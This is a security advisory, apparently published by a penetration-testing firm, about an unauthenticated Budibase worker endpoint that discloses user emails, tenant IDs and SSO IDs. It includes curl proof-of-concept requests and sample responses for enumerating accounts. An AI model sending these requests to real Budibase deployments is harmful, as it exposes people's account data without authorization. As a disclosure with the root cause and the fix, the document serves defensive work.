high · 7.5Jul 24, 2026

Budibase Unauthenticated Tenant User Information Disclosure

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Budibase's worker service exposes a public, unauthenticated endpoint that returns sensitive user data (email, tenant ID, SSO ID) for any known user identifier, letting anyone enumerate accounts with…

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
Budibase Unauthenticated Tenant User Information Disclosure

The problem

The Budibase Worker service registers GET /api/global/users/tenant/:id in its PUBLIC_ENDPOINTS list. This bypasses all authentication and tenancy middleware, including a // TODO: This should be an internal api comment in the source that acknowledged the oversight.

The handler accepts either an email address or a user ID as the :id parameter. It returns the full PlatformUser CouchDB document with no field filtering, exposing tenantId, userId, email, ssoId, and the raw CouchDB _rev token.

The different HTTP responses (200 for a hit, 400 for a miss) make account enumeration trivial.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

bash
# Lookup by email (no auth required)
curl -s http://<budibase-worker>:4002/api/global/users/tenant/admin@example.com

# Expected 200 response:
# {
#   "_id": "admin@example.com",
#   "_rev": "1-abc123...",
#   "tenantId": "tenant-uuid-here",
#   "userId": "us_someuserid123"
# }

# Lookup by user ID
curl -s http://<budibase-worker>:4002/api/global/users/tenant/us_someuserid123

# Expected 200 response:
# {
#   "_id": "us_someuserid123",
#   "_rev": "1-abc123...",
#   "tenantId": "tenant-uuid-here",
#   "email": "admin@example.com",
#   "ssoId": "google-oauth-id"
# }

# Non-existent user returns 400, confirming enumeration via status code difference
curl -s http://<budibase-worker>:4002/api/global/users/tenant/nobody@example.com
# {"message": "No tenant user found.", "status": 400}

The root cause is an intentional (but unfinished) design decision: the route was added to PUBLIC_ENDPOINTS to support an unauthenticated login flow, with a TODO noting it should eventually be internal-only. Because auth.buildAuthMiddleware short-circuits to next() when a route matches PUBLIC_ENDPOINTS, every downstream check (buildTenancyMiddleware, activeTenant, budibaseAccess) also passes through without requiring a session.

The patch (commit e6bf245, PR #19221) removes the route from PUBLIC_ENDPOINTS, honoring the long-standing TODO. This makes authentication mandatory before the tenantUserLookup handler runs.

CWE-200: the system returns more information than the caller is authorized to receive, with no rate-limiting or field filtering as additional safeguards.

The fix

Upgrade to @budibase/server >= 3.39.32. The fix removes GET /api/global/users/tenant/:id from PUBLIC_ENDPOINTS in packages/worker/src/api/index.ts, making authentication required. Self-hosted users should update immediately; cloud is patched by Budibase.

Reporter not attributed.

References: [1][2][3][4][5]

Related research